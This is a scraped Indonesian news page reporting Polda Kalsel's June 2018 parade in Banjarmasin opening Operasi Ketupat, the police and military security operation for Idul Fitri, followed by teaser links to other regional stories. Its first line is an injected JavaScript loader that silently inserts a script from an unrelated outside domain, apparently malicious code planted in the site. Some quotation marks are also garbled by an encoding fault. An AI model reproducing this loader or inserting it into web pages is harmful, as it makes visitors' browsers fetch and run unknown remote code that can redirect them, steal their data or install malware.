(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Polda Kalsel menggelar apel Pasukan Operasi Ketupat 2018 bertempat di lapangan Mapolresta Banjarmasin, Rabu (6/6). Apel dipimpin langsung oleh Kapolda Brigjen Drs Rachmat Mulyana serta dihadiri oleh para Pejabat Utama Polda Kalsel, unsur Forkopimda, dan personil lainnya.
Kapolda Brigjen Mulyana mengatakan, Operasi Ketupat ini bakal berlangsung selama 18 hari. Dimulai dari tanggal 6-23 Juni 2018. “Operasi Ketupat 2018 ini melibatkan 173.397 personil Pengamanan Gabungan yang terdiri dari TNI/Polri dan Pemerintah seperti Dinas Perhubungan, Jasa Raharja dan Sat Pol PP Kalsel,†kata Kapolda.
Ada empat potensi kerawanan yang harus diwaspadai selama Operasi Ketupat 2018. Empat potensi tersebut adalah Stabilitas harga dan ketersedian bahan pangan, kelancaran dan keselamatan arus mudik dan balik 2018. Selain itu, Potensi bencana alam dan tindakan kriminal lainnya serta ancaman tindak pidana terorisme juga harus jadi perhatian.
Sementara ancaman teror harus dilakukan upaya pencegahan di daerah vital dan pengamanan tempat ibadah serta tempat keramaian harus menjadi perhatian. “Lakukan koordinasi yang baik dengan semua pihak, serta tetap lakukan pengamanan sesuai standar dan diback up dengan personil bersenjata,†tutur Kapolda Brigjen Rachmat Mulyana didampingi Dirlantas Polda Kalsel Kombes Pol E.Zulpan, SIK, M.Si., Kabid Humas Polda Kalsel AKBP Mochamad Rifa’I, SIK, Danrem, Danlanal, serta Danlanud.
Ditambahkannya, Operasi Ketupat 2018 dalam rangka memberi rasa aman dan nyaman pada perayaan Idul Fitri 1439 H serta untuk mengantisipasi berbagai tingkat kerawanan yang mungkin terjadi selama lebaran, dari mulai ancaman terorisme hingga kecelakaan lalu lintas.
Sementara itu dalam kesempatan yang sama Dirlantas Polda Kalsel Kombes Pol E.Zulpan, SIK, M.Si. menjelaskan, selain berlangsungnya kegiatan Operasi Ketupat Intan 2018, Polda Kalsel beserta stake holder lainnya juga meningkatkan patroli untuk mengantisipasi gangguan keamanan dan ketertiban masyarakat. Termasuk memfokuskan kepada pengamanan kegiatan masyarakat, seperti kegiatan ibadah di bulan Ramadhan, Shalat Ied, kegiatan mudik dan lain-lain.(ammar)
KANALKALIMANTAN.COM, JAKARTA - Pemerintah secara resmi menetapkan tarif baru untuk biaya pembuatan paspor yang mulai… Read More
KANALKALIMANTAN. COM, PARINGIN - Sebanyak 21 Lansia terdiri 19 wisudawati dan dua wisudawan, mengikuti wisuda… Read More
KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
This website uses cookies.